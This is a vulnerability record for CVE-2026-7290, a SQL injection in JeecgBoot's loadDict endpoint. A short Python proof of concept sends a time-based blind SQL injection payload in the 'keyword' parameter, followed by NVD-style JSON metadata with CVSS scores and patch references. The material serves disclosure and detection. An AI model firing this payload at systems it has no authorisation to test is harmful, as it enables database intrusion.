CVE-2026-7290

import requests def verify_sql_injection(url): """ PoC for CVE-2026-7290 Target: JeecgBoot loadDict endpoint """ target_endpoint = url.rstrip('/') + '/jeecg-boot/system/dict/loadDict' # Malicious payload to test SQL Injection # Using a time-based blind payload payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "keyword": payload } try: print(f"Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response delayed.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" verify_sql_injection(target)

{"cve": {"id": "CVE-2026-7290", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:47.913", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in JeecgBoot up to 3.9.1. Impacted is the function SqlInjectionUtil of the file jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java of the component loadDict Endpoint. This manipulation of the argument keyword causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. Patch name: a9c8e8eb1185751c4c3c68d2a53f3dadee9edc6b. To fix this issue, it is recommended to deploy a patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/jeecgai/JeecgBoot/commit/a9c8e8eb1185751c4c3c68d2a53f3dadee9edc6b", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9491", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/pull/9493", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803072", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359948", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359948/cti", "source": "[email protected]"}]}}